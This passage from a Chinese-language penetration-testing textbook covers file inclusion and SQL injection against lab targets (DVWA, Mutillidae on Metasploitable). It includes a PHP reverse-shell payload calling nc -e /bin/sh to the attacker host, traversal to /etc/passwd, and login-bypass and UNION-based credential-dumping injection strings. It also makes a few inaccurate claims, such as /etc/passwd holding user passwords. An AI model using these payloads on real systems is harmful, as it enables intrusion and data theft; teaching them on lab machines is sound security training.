我们可以看到该文件已经有一个页面。include.php 命令将再次加载另一个页面。如同之前的示例,我们将再次看到带有 IP 地址的 URL 和相同的 ping 命令,正如前一部分所解释的那样。在我们的示例中,目标是通过 include.php 打开文件。去掉 URL 中的 page 参数后,URL 现在变为 http://10.0.2.4/dvwa/vulnerabilities/fi/include.php。此时会产生一个致命错误,如下图所示:

我们可以在页面上看到一个名为 include.php 的文件,它位于相同的工作目录中。让我们尝试查看能否读取存储在计算机上的 /etc/passwd 文件。这个文件包含当前 Web 服务器上的所有用户密码以及所有使用当前操作系统的用户。让我们打开终端并运行一些命令。例如,在 Kali 上运行 cat/etc/passwd 返回如下输出:

我们将看到当前计算机上的所有用户及其在当前操作系统上的默认路径。现在我们将尝试读取 passwd 文件。为此,请返回到之前提到的 fi 目录中的当前位置。参照之前的截图,当我们位于 /var/www/dvwa/vulnerabilities/fi/include.php 时,我们就在 fi 目录下;我们需要返回五个位置,才能到达 /etc/passwd

如前所述,我们需要通过添加双点符号返回五个位置。因此,URL 会变成 http://10.0.2.4/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd。按下 Enter 键后,输出将如下所示:

我们将能够看到 /etc/passwd 文件。为了理解并读取数据,可以将数据复制到记事本中。这样,我们将获得更多关于目标网站的信息。我们还可以访问同一服务器上不同的敏感文件,或者其他网站的文件。下一部分将帮助我们理解如何使用 Metasploitable 进行远程文件包含。

使用 Metasploitable 进行远程文件包含

远程文件包含是一种利用文件包含漏洞的特殊方式。在前一部分中,我们学习了如何将文件包含到服务器中,以及如何通过本地文件包含漏洞进行访问。

在本节中,我们将学习如何配置服务器以允许allow_urlallow_url_fopen函数。这将允许从计算机向目标网站包含文件。我们将学习如何将 PHP 文件注入到目标计算机中,这将帮助我们运行有效载荷和反向 shell 以及系统命令,从而允许访问目标或完全控制目标服务器。

让我们从利用上一节讨论的文件包含漏洞开始。我们将在这里使用相同的page参数。这里唯一不同的是从本地文件包含转变为远程文件包含。这将确保本地文件包含允许访问本地文件,而远程文件包含将允许访问和注入远程文件。

让我们使用 Metasploitable 框架测试漏洞。在框架中,我们将使用存储在文件中的 PHP 设置。为了访问它们,我们将使用nano,这是一个文本编辑器。我们需要在nano编辑器中输入配置文件的位置,即/etc/php5/cgi/php.ini/etc/php5/cgi是我们的 PHP 配置文件实际位置。我们需要将sudo添加为 root。在 Kali 中,我们不需要添加sudo,因为我们以root身份登录,但在 Metaspolitable 中,我们需要添加sudo来执行root操作。在将sudo添加到当前命令后,运行以下命令:

sudo nano /etc/php5/cgi/php.ini

如果我们想要搜索allow_url_fopen函数,按Ctrl + W,然后输入allow_url并按Enter。我们将看到allow_url_fopenallow_url_include都是On

如果我们启用这两个函数,则可以使用本地文件包含漏洞进行远程文件包含。要退出当前操作,请使用Ctrl + X;保存,请使用Ctrl + YEnter。保存文件后重新启动 Web 服务器,输入sudo /etc/init.d/apache2 restart

我们了解了本地文件包含漏洞的工作原理。我们使用了五个空格后退的方法来访问passwd文件。在远程文件包含中,我们将访问位于不同服务器上的文件。

现在我们将在实际的 Web 服务器上进行渗透测试,以便访问存储的文件。该文件应该有一个 IP 地址或域名。我们需要在本地服务器上运行此操作,并使用10.0.2.15在 Kali 机器的 Web 服务器上存储文件,在我们的情况下。该文件可以是 Web shell 或有效载荷。现在创建一个简单的 PHP 文件。我们将使用passthru()函数,该函数将在 Windows 和 Linux 上执行 OS 命令。将要执行的命令完全取决于将要执行的 Web 服务器。创建一个名为reverse.txt的文件,其中包含以下代码:

<?php
passthru("nc -e /bin/sh 10.0.2.15 8080");
?>

我们将使用用于代码执行漏洞的nc命令,该命令允许我们从目标获取连接或反向连接。

代码以<?php?>标签开始和结束。命令将放置在引号之间。由于我们使用的是相同的nc命令,它将反转计算机的连接。下一步是将该文件存储在 Web 服务器上。如果目标是远程 Web 服务器,我们应该使用 IP 来存储文件,以便从远程 Web 服务器访问该文件。我们将使用 Metasploitable 机器访问该文件,Metasploitable 将访问存储在 Kali 机器上的文件。这是可能的,因为文件和机器在同一网络上。当前文件以/var/www/html开头,因此文件将存储在 Kali 上,而不是 Metasploitable 上。为了反向访问,我们将把文件保存为.txt而不是.php。如果我们将文件存储为 PHP,它将在 Kali 机器上执行。如我们所知,我们已经能够访问 Kali 机器,并且需要访问 Metasploitable 上的文件。为此,我们将把文件保存为reverse.txt,并放置在localhost/var/www/html目录中。该文件仍然存储在localhost而不是 Metasploitable 上,所以它位于10.0.2.15。要检查reverse.txt文件是否在localhost上,请在地址栏中输入localhost/reverse.txt并按Enter。该文件将在浏览器中显示:

在开始远程包含之前,请像在代码执行漏洞部分那样,在 Kali 上监听连接。输入以下nc命令以监听连接:

nc -vv -l -p 8080 

现在我们应该在监听连接,如下图所示:

现在,我们将不再将文件包含在同一服务器上,而是将远程文件包含在 URL 中。URL 更改为http://10.0.2.4/dvwa/vulnerabilities/fi/?page=http://10.0.2.15/reverse.txt,如下图所示:

如果我们现在检查文件,它将在10.0.2.15上执行,这将为我们提供与 Metasploitable 计算机的远程连接。返回到终端,输入uname -a,我们将现在获得对 Metasploitable 机器的完全访问权限,如下图所示:

我们还可以在 Metasploitable 机器上执行诸如lspwd的命令。

基本缓解

本节讨论了漏洞的预防措施。许多漏洞的存在是由于它们提供的功能。

例如,在第一部分,文件上传漏洞,我们讨论了允许上传任何文件扩展名的情况。理想情况下是检查文件类型,如果用户上传的是文件,它应该是 MP3 或媒体文件,而不是 PHP 文件或可执行代码。我们永远不应允许用户上传可执行文件。可以使用过滤器检查扩展名。最好的方法是检查文件本身,而不仅仅是检查扩展名,因为文件可以绕过扩展名检查。检查图片或媒体文件,而不是依赖扩展名。

在第二部分,代码执行漏洞,我们探讨了如何在目标计算机上运行任何代码。我们应该避免允许用户在服务器上运行代码。同时,也要避免使用evalpassthru等功能,这些功能允许用户在服务器上运行操作系统代码。如果必须使用这些功能,请在执行之前分析输入。

比如看这个例子:

10.0.2.15; ls-la

假设我们输入一个 IP 地址,10.0.2.15,然后加上分号和命令ls -la。唯一的问题是,Web 应用程序会按原样接受并运行这些信息。当我们执行命令时,我们将首先看到 IP 地址,然后是ls -la命令。在这种情况下,检查输入的内容。如果我们期望的是 IP 地址,可以使用正则表达式。正则表达式是一条规则,确保输入符合10.0.2.15的格式。如果输入任何其他内容,Web 应用程序将拒绝它。我们还应该确保没有分号或空格,并且所有内容都是一体化的并得到执行。这些都是安全的执行方法,但最好的做法是避免使用evalpassthru函数。

第三部分讨论了文件包含问题,进一步分为本地和远程文件包含。本地文件包含允许我们包含目标系统上的任何文件,并读取由漏洞泄露的文件。我们还研究了远程文件包含,允许我们从拥有 PHP Shell 的 Web 服务器中包含任何文件,并获得与目标计算机的连接。

我们需要防止远程文件包含,以确保人们无法包含我们服务器之外的文件。我们可以通过禁用allow_url_fopenallow_url_include功能,在php.ini文件中启用此方法。要禁用这些功能,请按照远程文件包含使用 Metasploitable部分中的步骤进行操作。

确保allow_url_fopenallow_url_include的设置为Off

另一种防止这些漏洞的方法是使用静态文件包含。因此,取代使用我们已见过的动态文件包含,我们可以将希望包含的文件硬编码到代码中,而不需要通过GETPOST获取它们。

例如,在漏洞案例中,我们使用了带有page参数的index.php页面。现在,index.php页面使用了include参数,或者另行调用一个名为news.php的页面,这个页面将被包含在代码中的$_GET();参数中。以下截图解释了该漏洞:

基本的操作是includepage参数之后的文件。代码会动态地获取 URL 中page参数之后的文件,并include从 URL 到当前页面的所有内容。在某些情况下,我们倾向于使用POST方法,这样不会执行相同的操作;然而,在这种情况下,最好使用代理,如 Burp Proxy。它将帮助我们进行修改并包含我们希望展示的文件。通过这种方法,我们无法操作被包含页面内部的任何内容。为了避免硬编码并防止使用变量,只需提供需要包含的页面。这会使代码看起来更长,但页面会更加安全。

以下截图展示了更简单的硬编码方法:

总结

在本章中,我们学习了如何使用文件漏洞进行基本的文件上传。我们还研究了如何在代码漏洞下执行操作系统代码。此外,我们学习了如何使用 Metasploitable 进行本地和远程文件包含。最后,我们了解了在处理这些漏洞时应考虑的解决方案要点。下一章将深入探讨 SQL 注入漏洞。

第二十章:SQL 注入漏洞

在本章中,我们将研究SQL 注入SQLi)漏洞。为了深入了解这些漏洞,我们将首先学习 SQL,了解为什么我们要学习 SQL,以及如何

危险的 SQLi 究竟是什么。接下来,我们将学习一些发现 SQL 注入的技巧。然后,我们将学习如何绕过 SQLi 授权以及如何使用GET方法发现 SQLi。我们还将看到如何绕过 SQL 命令,并使用命令发现表格。在loadfile部分,我们将看到如何在服务器文件上实现 SQLi。接下来,我们将学习如何使用一个名为sqlmap的工具。最后,我们将探讨一些防止危险 SQL 注入的技术。

在本章中,我们将讨论以下主题:

  • 什么是 SQL?

  • SQLi 的危险

  • 发现 SQLi

  • SQLi 授权绕过

  • 使用GET方法发现 SQL

  • 基本的SELECT语句

  • 发现表格

  • 读取列及其数据

  • 服务器上的文件读写

  • sqlmap工具

  • 防止 SQLi

什么是 SQL?

我们将学习一种叫做 SQLi 的常见漏洞类型。在讨论它是如何发生以及如何利用它之前,首先让我们了解一下 SQL 是什么。例如,如果我们在某个网站进行渗透测试,网站的规模可能比其他网站大一些,因此很可能使用了数据库。除了一些非常简单的网站,大多数网站都使用数据库来存储数据,比如用户名、密码、新闻文章、博客文章、图片,以及网站上的任何动态数据。Web 应用程序读取数据库并将数据展示给我们或用户。当用户在网站上执行某个操作时,应用程序将更新、删除或修改数据库中已有的数据。这种 Web 应用程序与数据库之间的互动是通过一种叫做 SQL 的语言实现的。

让我们来看一下数据库的含义。这只是一个数据库的示例;我们将登录到安装在我们的 Metasploitable 机器上的数据库,看看它存储了什么。我们不会进行任何黑客攻击或复杂的操作;我们只是登录到 MySQL,然后输入用户名root—Metasploitable 没有为root设置密码,这非常不安全,但显然这是一个易受攻击的系统。我们只是登录,不是进行任何黑客攻击,也不是进行 SQL 注入,只是在 MySQL 的终端上操作,Web 应用程序会用这个终端与数据库进行交互。以下是命令:

mysql -u root -h 10.20.14.204 

以下是命令的输出:

在这个示例中,我们只是想看看我们所说的数据库是什么,以及它们存储了什么。现在,输入show databases,这将显示我们目标服务器上存在的数据库。在下图中,我们可以看到有一个information_schema数据库,它是一个默认数据库,包含关于所有其他数据库的默认信息:

它在安装 MySQL 时默认安装,其他数据库则是为每个网络应用程序单独安装的。我们可以看到有一个 tikiwiki,一个owasp10,还有一个mysql,另一个叫metasploit,以及一个dvwa,这就是我们用于网络应用程序的数据库。我们可以看到,对于每个网络应用程序,都有一个数据库,其中包含该应用程序使用的信息。

让我们来看一下数据库的内容。我们将使用owasp10数据库。我们将在终端输入Use owasp10命令,从这个表中读取信息。每个数据库都有一个表,其中包含信息,因此我们启动show tables命令来查看我们拥有的表:

我们有一个accounts表,所以我们可以推测这个表包含关于用户名、密码和用户的信息。我们有一个名为blogs_table的表,可能包含博客输入信息,比如帖子和评论。我们还看到了captured_datacredit_cards,所以有一个表包含信用卡详情。对于购物网站来说,这一点非常重要,实际上他们会有一个credit_cards表,信用卡信息会存储在那里。基本上,数据库会存储所有的东西,网站上使用的所有数据,因为它们不会存储在文件中,这样效率更高。

让我们看看accounts表;如果我们只输入select,这就是网络应用程序如何从数据库中检索信息的方式。应用程序可以选择、更新或删除;我们在这个示例中使用的是select语句。同样,这不是黑客攻击——我们只是执行一个select语句,从accounts表中选择所有内容,命令为select * from accounts

我们有账号 ID、用户名、密码、用户签名和是否为管理员的列。现在,列的设置取决于表,因此设计数据库的人会设计表和列,然后数据由网络应用程序插入。我们可以在前面的截图中看到,有一个名为admin的用户,密码是adminpass。我们还可以看到有一个名为adrian的用户,密码是somepassword

这个例子只是为了让我们了解数据库长什么样,并感受一下它们;在后面的章节中,我们将尝试利用这些数据库,获取类似的访问权限。因此,在这里,我们只是用用户名和密码登录了。通常情况下,我们是无法访问的,只有网络管理员才能访问。在接下来的章节中,我们将尝试进行一些攻击,以获得访问权限,从而完全控制数据库,读取和写入(或修改)数据。

SQL 注入的危险

在本章的这一部分,我们将重点讨论为什么 SQL 注入如此重要和危险。原因在于它们无处不在;很多大型网站都有这种漏洞,例如 Yahoo 和 Google。它们非常难以防护,而且很容易犯错,导致这些漏洞被滥用。它们之所以危险的另一个原因是,因为它们让黑客获得数据库的访问权限。在许多场景中,如果我们发现了 SQL 注入漏洞,我们就不需要上传PHP shell 或建立反向连接。其实没有必要上传任何东西,也不需要增加被抓住的风险,因为只要我们能够访问数据库,我们几乎就能得到我们需要的一切。我们可以获得用户名和密码,并可以使用普通的用户名和密码登录,作为普通用户;如果我们在寻找敏感数据,我们可以访问信用卡信息。我们几乎可以做任何想做的事情,所以实际上没有必要进一步利用系统。

如果我们发现了 SQL 注入漏洞,那太好了!这就是我们所需要的。在很多场景下,我们使用 PHP shell 来访问数据库,看看是否能够读取数据。假设我们成功地在 Metasploitable 服务器上上传了一个 PHP shell,但随后却无法访问数据库;这时我们就无法看到什么。我们无法看到信用卡、用户名和密码;虽然我们已经控制了服务器,但却无法读取信息,所以有时候在上传 PHP shell 之后,下一步就是访问数据库。SQL 注入可以做很多事情,因此如果我们在一个不是目标网站,但在同一服务器上的网站中找到了 SQL 注入漏洞,我们可以利用它读取/www/root目录之外的文件。类似于文件包含漏洞,我们可以利用管理员账户及其用户名和密码,看看是否能够上传一些信息。通常管理员可以上传很多东西,因此我们可以从这里上传一个 PHP shell 或后门,然后导航到目标网站,或者在某些情况下,我们可以使用 SQL 注入上传 PHP shell。所以,SQL 注入既可以作为文件包含漏洞和文件上传漏洞,也可以让我们访问整个数据库。这就是它们非常危险且有用的原因,如果我们能够找到一个 SQL 注入漏洞的话。

发现 SQL 注入

现在,让我们尝试发现一些 SQL 注入漏洞。我们需要浏览目标网站,尝试突破每个页面。每当我们看到一个文本框或表单中的参数,比如 page.php,然后是 something = something;就尝试在那里注入内容,尝试使用单引号,尝试使用 AND,或者使用 orderby 语句来破坏页面,使其显示不同的内容。例如,我们将使用 Metasploit 的 Mutillidae 漏洞网站。我们首先进入登录/注册页面,如下图所示,它会要求我们登录。现在,网站已经注册了你的名字,所以你可以点击“请在这里注册”并完成注册:

注册后,进入登录页面。目前,我们正在使用向文本框注入的例子,所以我们可以尝试在 Name 和 Password 文本框中注入内容。例如,假设我们将 Name 设置为 zaid,然后在 Password 中输入一个单引号 ('),然后点击登录。如以下截图所示,出现了一个错误信息,它看起来不像普通的错误。它看起来像是一个数据库错误,通常你很幸运才能遇到这样的错误:

通常,错误信息不会像这样那么详细;有时我们只会看到页面没有按预期工作,或者页面看起来不对。例如,如果是新闻页面,可能会缺少文章;如果是博客,可能会有一篇帖子消失,或者不同类型的帖子消失,所以我们需要留意哪些部分发生了变化。在这个例子中,我们实际上得到了一个非常不错的错误;它告诉我们出现错误的文件,错误出现在我们添加的引号附近,执行的语句是什么。这对学习非常有帮助,因为现在我们可以看到系统正在尝试执行的语句,系统尝试执行 SELECT *,所以它正在尝试选择所有内容:FROM accounts WHERE username='zaid' AND password='''。注意,系统,即网页应用程序,已经在名称周围添加了引号。当我们输入 zaid 时,它在两个引号之间添加了 zaid,并且它将我们添加的单引号 (') 放在另外两个引号之间,这就是为什么我们有三个引号。从这个错误中,我们可以推测目标网站有 70% 可能存在 SQL 注入漏洞。

我们仍然不确定它是否能执行我们想要的内容,所以我们是否可以实际注入代码并让其执行?让我们看看是否可以做到;username 再次将是 zaid,我们将将 password 设置为 123456。完成后,只需关闭网站。我们关闭了网站,因为系统中的当前语句是 Select * from accounts where username = 'zaid' and password ='$PASSWORD',它将自动打开一个单引号,接着是 $PASSWORD,我们将提供它。因此,我们正在处理 password 作为一个变量;它接受我们放入密码文本框的任何内容,并将其放置在两个单引号之间,然后在系统上执行。因此,我们将输入 123456'。我们将手动添加一个引号,代码如下所示:

select * from accounts where username = 'zaid' and password ='123456''

应用程序将从 accountsselect,其中 password 等于 123456,并且我们在末尾有两个引号。然后,我们将加入 and 1=1。我们只是想看它是否会执行我们想要的内容。我们的语句将如下所示:

Select * from accounts where username = 'zaid' and password='123456' and 1=1'

我们将手动插入 123456' and 1=1。系统会抱怨我们多了一个引号,因为我们手动将密码插入到文本框中;它会说有一个未闭合的引号。现在,我们将添加一条注释,在我们这样做之后,注释之后的所有内容都不会被执行。我们将使用井号 (#) 作为注释,因此系统将忽略井号之后的任何内容;它将忽略命令插入的最后一个引号。因此,我们的代码将如下所示:

Select * from accounts where username='zaid' and password ='123456' and 1=1#'

我们需要将密码 123456 and 1=1# 粘贴到密码文本框中,并且应该能够作为 zaid 登录,如下面的屏幕截图所示:

让我们尝试一些不同的东西:让我们尝试添加一个错误的语句。我们做了 1=1,那是正确的,它执行了我们想要的内容。让我们尝试 1=2,这是错误的,所以我们有正确的密码和正确的用户名,并且我们将添加 1=2# —— 这应该会有问题,因为它是 false1 不等于 2,并且我们使用 and,所以一切都必须是真实的。即使我们输入正确的用户名和密码,它也应该给我们一个错误。因此,我们将 Password 输入为 123456 and 1=2#,它应该给我们一个错误:

该网站给出了身份验证错误:用户名或密码错误,尽管我们使用了正确的密码和用户名。这证实了该网站实际上在密码中注入了我们想要的任何内容,因此我们可以使用 password 字段来注入 SQL 代码。

SQLi 授权绕过

现在我们知道,我们可以输入任何代码,并且它会在系统上执行。那么,咱们再看看这个语句,它写的是select * from accounts where username = username,并且password = password,这些我们是放在密码文本框里的。接下来我们将看看,能不能在不使用密码的情况下登录,我们将用管理员账号进行测试。因此,username将是admin,而我们不知道admin的密码,所以我们输入一个随机密码,比如aaa。在我们之前运行的代码中,我们写了and 1=1,现在我们把and换成or 1=1。所以,一旦我们注入这个命令,它就能让我们在不知道admin密码的情况下登录。我们的代码如下所示:

select * from accounts where username = 'admin' and password='aaa' or 1=1'

当我们使用admin作为用户名,并在密码文本框中粘贴aaa' or 1=1时,我们可以看到成功登录了,管理员的签名是“Monkey!”:

所以,只要我们有一个or条件,如果or条件为真,那么一切都为真——这就是or语句的工作原理。

绕过登录可以通过多种方式实现,具体取决于页面上编写的代码以及我们如何设想这段代码。在很多情况下,当我们输入单引号时,我们不会看到错误信息。

接下来,我们展示另一个绕过的例子。除了注入代码外,admin参数也是可以注入的,正如我们在输入单引号时看到的,它和password参数一样,因此我们也可以在username中注入代码。

尝试在username中注入一些东西;我们将username设置为admin,然后关闭引号并添加一个注释。所以,当我们运行select * from accounts where username = 'admin'#' and password='aaa'这个语句时,它将注入到username中。

它将允许我在密码字段中什么也不输入的情况下登录。因此,我们将用户名设置为admin'#,然后可以输入任何我们想用的密码。我们只输入1,然后登录;我们可以看到我们成功以admin身份登录:

再次说明,这是黑箱测试,所以我们并不真正看到代码。在许多情况下,我们希望进行尝试并观察它是如何工作的,但我们主要要测试的是 SQL 注入是否存在,我们使用前一节中的方法进行测试。所以,尝试单引号,尝试and语句,尝试一个真实的and语句,比如1=1,然后尝试一个假的and语句,比如1=0或者2=0,如果它们按预期工作,那么你的目标就有 SQL 注入漏洞,你可以开始玩弄它。

发现使用 GET 方法的 SQL 注入(SQLi)

现在我们将在不同的文件中研究一个 SQLi,在不同的页面上看到一些不同的东西,我们可以利用这个漏洞。首先,转到登录页面,该页面位于 OWASP 十大 | A1-注入 | SQL-提取数据 | 用户信息:

在上一节中,我们通过单击页面上的登录/注册选项进入了登录页面;这次我们将通过用户信息页面,因此页面将向我们显示有关用户的信息,只要我们提供姓名和密码。输入所有凭据,如usernamepassword,页面将向我们显示所有usernamepassword详细信息以及我们的签名,如下所示:

在这里执行的语句类似于我们登录时执行的语句。正如我们在以下代码中看到的那样,select * from accounts where $USERNAME是我们放入username字段中的内容,$PASSWORD是我们放入password字段中的内容:

select * from accounts where username = '$USERNAME' and password='$PASSWORD'

现在我们将看到一种利用这种漏洞的不同方式。在上一节中,我们是使用POST文本框来执行的,因此无论您在文本框中放入什么都将使用POST方法将其发布到 Web 应用程序。现在,这些漏洞也可能存在于GET方法中,我们所说的GET是指,当使用GET发送某些内容时,我们将在 URL 中看到它。因此,如果我们查看以下 URL,我们将看到它被发送为username=zaid&password=123456

复制 URL,我们将从 URL 开始进行操作,而不是在网页上进行操作。我们只是想展示一个不同的例子,因为在许多地方甚至可能没有文本框。它可能是诸如news.php之类的东西。在我们的示例中,它是index.php,在我们的渗透测试中,您可能会看到诸如news.phpid=2之类的东西,然后我们可以尝试在其中注入。因此,我们将向username字段注入内容,并在 URL 中输入信息。当我们进行渗透测试时,每当看到诸如usernamepassword之类的参数时,我们应该尝试注入它们;每当看到something.php然后我们有一个等于 something 的参数时,总是尝试在其中注入并查看是否适用于我们。

我们还看到了使用引号和and语句发现注入的方法。因此,我们先进行一个错误的and,然后是一个正确的andand 1=1,接着是and 1=2,如果服务器执行了我们想要的操作,我们就知道有 SQL 注入漏洞。我们还将看到另一种发现这些漏洞的方法,那就是使用order by语句。order by语句用于限制屏幕上将显示的记录数量。我们的注入将执行order by 1。如果注入存在,这应该会成功,因为order by 1。页面应该至少选择一条记录,因为我们知道该页面正在与数据库通信。所以,order by 1应该始终有效并返回我们预期的结果。我们还需要添加注释并执行代码,和之前完全一样。基本上,数据库中执行的代码将如下所示:

select * from accounts where username = 'zaid' order by 1#' password='$PASSWORD'

URL 的命令将如下所示:

index.php?page=user-info.php&username=zaid' order by 1#&password=123456&user-info-php-submit-button=View+Account+Details

对于这个例子,查询将是select * from accounts where username = 'zaid',注意单引号(')结束了语句;我们将执行order by 1。评论将告诉 SQL 解释器忽略其后的所有内容,这些内容都是井号(#)后的命令。复制前面的代码并将其粘贴到登录页面的姓名文本框中。这是可行的,但我们只是通过浏览器注入它,查看另一种做法。另一个需要注意的点是,当我们将内容注入浏览器时,代码应该进行编码,因此,例如,井号(#)应该写成%23。空格将转换为%20,而%23是我们用作注释的符号,所以我们将复制它并在 URL 空间中替换掉我们的注释符号。于是,URL 变更为以下内容:

index.php?page=user-info.php&username=zaid' order by 1%23&password=123456&user-info-php-submit-button=View+Account+Details

将网址粘贴到地址栏并按下回车,然后我们会看到一个可接受的结果。接着它会显示关于 zaid、123456 和签名的信息,因此它忽略了密码,注入成功——它按1排序,因此没有显示任何错误:

让我们尝试将1设置为一个非常大的数字,例如,我们可以在 URL 部分放入10000100000。它将显示1000000条记录在登录页面上。可能页面不会显示1000000条记录,并且数据库中也没有1000000条记录,所以当我们执行时,会看到一个错误。错误发生在order子句中,1000000是一个未知的列:

所以,数据库中没有 1000000 列,这非常好,因为现在我们知道数据库正在执行我们想要的操作。当我们告诉它显示 1 条记录时,它确实显示了一条记录,当我们告诉它显示大量记录时,它对此进行了抱怨,因此它显然对 SQL 注入存在漏洞。

基本的 SELECT 语句

让我们尝试确定在前面的截图中有多少列被选入页面。我们在前一部分执行查询时,在登录页面上选择并显示了多少信息?为了做到这一点,我们将使用 order by 语句。在前一部分中,我们使用了 order by 1,这返回了一个可接受的结果,而 order by 1000000 给出了错误,所以我们尝试使用 order by 10;我们将看到,依然会出现错误。

尝试 order by 5,我们将看看它是否有效。通过执行这个操作,我们知道有五列是从某个表中被选中的,且这个表是 accounts 表,然后它显示在登录页面上。现在,让我们构建我们自己的 select 语句,并在目标计算机上执行。此时,语句是 Select * from accounts where username = 'zaid',并且我们正在使用 order by 1。让我们看看是否可以修复它,并使它选择我们喜欢的内容。由于我们正在尝试进行多个 select 语句,并且我们打算从 URL 中进行操作,我们需要使用 union,然后我们将说 select。在这个 web 应用中,我们知道有五条记录被选中,所以有五列被选中,因此我们正在执行 1,2,3,4,5;让我们在 URL 中运行这个命令,看看会发生什么:

index.php?page=user-info.php&username=zaid' union select 1,2,3,4,5%23&password=123456&user-info-php-submit-button=View+Account+Details

我们可以看到选择是正确的,我们得到了第一次选择的结果:

这一行完成了第一次选择,然后执行了 union,所以它将这个选择与另一个选择合并,并显示了其他内容。正如我们在前面的截图中看到的,我们只看到了 2、3 和 4,这意味着无论我们在 234 位置输入什么值,或者我们想要 select 的内容,只要我们将其放入 URL 中,它就会显示在页面上,并且我们可以看到 2 的结果,所以无论你在 2 中放入什么,都会显示在页面上。

所以,让我们尝试查看我们的数据库。我们将 2 改为 database,将 3 改为 usernameuser,将 4 改为 version;这将 select 当前的数据库、我们当前拥有的用户权限和数据库的版本。于是,让我们执行以下命令:

union select 1,database(),user(),version(),5

URL 命令的变化如下:

index.php?page=user-info.php&username=zaid' union select 1,database(),user(),version(),5%23&password=123456&user-info-php-submit-button=View+Account+Details

命令的输出如下截图所示:

用户名显示为 owasp10 和2,所以owasp是我们正在查找的数据库。我们当前以 root@localhost 身份登录,所以我们是root用户。我们注入了版本信息,并且可以看到这是 MySQL 的版本,版本号是 5.0.51。我们知道我们连接的数据库是owasp10。在大多数实际场景中,每个数据库都会分配给某个特定用户,因此你通常只能select当前数据库中的详细信息、表格、列和数据。然而,我们以root身份登录,且 Web 应用程序已连接到数据库并使用root,所以我们可以访问其他数据库,但这在现实场景中并不常见。通常,每个用户都有自己的数据库,因此当他们将 Web 应用程序连接到数据库时,他们只会连接到一个数据库,因此你无法访问其他数据库。所以,我们假设我们仅能访问owasp10,这是当前网站的数据库,且密码为root@localhost

在接下来的章节中,我们将看到如何进一步利用 SQL 注入并执行更强大的select语句。

发现表格

现在我们知道目标数据库叫做owasp10,让我们尝试发现该数据库中存在的表格。所以,我们的select语句是union select 1, database(),user(),version(),5。删除user()version(),或者将它们改为null,因为我们现在只想select一项,并且在2中,我们将从information_schema数据库中select table_name。我们知道information_schema是 MySQL 创建的默认数据库,包含有关其他所有数据库的信息。我们从information_schema中选择table_name,点后跟tables。基本上,我们是在从名为information_schema的数据库中选择名为tables的表格,并且我们选择的列叫做table_name,所以我们是从information_schema数据库的tables表中选择table_name。命令如下:

union select 1,table_name,null,null,5 from information_schema.tables

URL 命令更改如下:

index.php?page=user-info.php&username=zaid' union select 1,table_name,null,null,5 from information_schema.tables%23&password=123456&user-info-php-submit-button=View+Account+Details

执行命令以查看我们是否能够获取owasp10数据库中所有现有的表格。我们可以看到我们得到了 237 条记录;以下是我们可以访问的所有表格:

我们以root身份登录,因此我们可以看到其他 Web 应用程序的表格,例如 tikiwiki,但在现实场景中,我们通常只能看到与当前数据库(即 Mutillidae)相关的表格。

现在我们要使用where子句并且说where table_schema = 'owasp10'。我们在执行命令时得到了owasp10数据库,所以我们得到了owasp10,这是 Mutillidae 正在使用的当前数据库。我们使用相同的语句:我们从information_schema表中选择table_name,其中table_schemaowasp10。命令如下:

union select 1,table_name,null,null,5 from information_schema where table_schema = 'owasp10'

URL 命令更改如下:

index.php?page=user-info.php&username=zaid' union select 1,table_name,null,null,5 from information_schema where table_schema='owasp10'%23&password=123456&user-info-php-submit-button=View+Account+Details

执行它后,如下截图所示,我们只看到了我们感兴趣的表:

我们有accountsblogs_tablecaptured_datacredit_cardshitlogpen_test_tools等表。现在,在什么是 SQL?部分,我们看到了owasp10表的内容,前面的截图也展示了owasp数据库中的相同表。

读取列及其数据

在本节中,让我们看看是否可以select并查看accounts表中的所有详细信息。让我们检查一下是否能够查询数据库并读取accounts表中存储的信息。为此,我们需要知道accounts表中存在的列名,因为根据我们使用的语句,我们正在执行union select table_name from information_schema.tables,所以我们还不知道accounts表中有哪些列。我们可以猜测它有一个用户名和一个密码,但有时它们可能有不同的名称,所以我们将看看如何select某个表的列。

该命令将与我们在前一节中使用的tables命令非常相似,唯一的区别是我们将table_name替换为column_name,并且不是从information_schema.tables中选择,而是从information_schema.columns中选择。我们将输入where table_name = 'accounts',因为我们只对accounts表感兴趣。如果我们想获取其他表的列,只需将accounts替换为所需的表或列名即可。所以,我们的命令如下所示:

union select 1,column_name from information_schema.columns where table_name = 'accounts'

URL 命令变为以下内容:

index.php?page=user-info.php&username=zaid' union select 1,column_name from information_schema.columns where table_name = 'accounts'%23&password=123456&user-info-php-submit-button=View+Account+Details

该命令应该显示accounts表中存在的所有列。运行命令后,当我们在地址栏中执行它时,我们将看到与本章开始时看到的accounts数据库结构相同的列,以及其cidusernamepasswordmysignatureis_admin列,如下图所示:

让我们更进一步,selectaccounts表中的usernamespasswords列。因此,命令将与我们当前执行的非常相似:

union select 1,usernames,passwords,is_admin,5 from accounts

现在,请记住,我们不能在命令中选择除15之外的任何其他数字,因为它们从未在屏幕上显示给我们。唯一显示的数字是234,所以我们只需替换234的值。我们的 URL 命令变为以下内容:

index.php?page=user-info.php&username=zaid' union select 1,usernames,passwords,is_admin,5 from accounts%23&password=123456&user-info-php-submit-button=View+Account+Details

我们正在从accounts数据库中选择usernamepasswordis_admin列,它应该返回accounts表中所有的用户名和密码。如以下截图所示,我们获得了所有的用户名和密码:

我们有admin用户名,密码是adminpass;我们还有其他用户名和密码。这非常有用,因为在大多数网站上,当我们以admin身份登录时,我们拥有比普通用户更多的权限,然后我们就可以上传 PHP shell、后门、病毒,或者任何我们想要的东西,进而进一步利用系统。所以,此时我们实际上可以用admin用户名和adminpass密码登录,系统会接受这个登录,因为密码是正确的。不论密码多复杂,我们都会成功登录,因为我们直接从数据库中读取了密码。

在服务器上读取和写入文件

在这一部分,我们将探讨如何使用 SQLi 来读取服务器中的任何文件。所以,即使文件位于/www目录之外,我们也能像文件泄露漏洞一样精确地读取它,我们还将看到如何利用这一点写入文件并将其上传到系统,就像文件上传漏洞一样。

首先,让我们看看如何读取文件;我们将把所有设置为null。所以,我们的语句如下:

union select null,load_file('/etc/passwd'),null,null,null

我们不选择列或表,而是希望运行一个名为load_file()的函数,然后我们将设置要加载的文件。我们将使用之前在文件包含漏洞中查看的相同文件,即/etc/passwd。URL 命令如下:

index.php?page=user-info.php&username=zaid' union select null,load_file('/etc/passwd'),null,null,null%23&password=123456&user-info-php-submit-button=View+Account+Details

运行上面的 URL 后,我们可以从以下截图中看到,我们成功读取了/etc/passwd文件的所有信息和内容,尽管它不在网站根目录中:

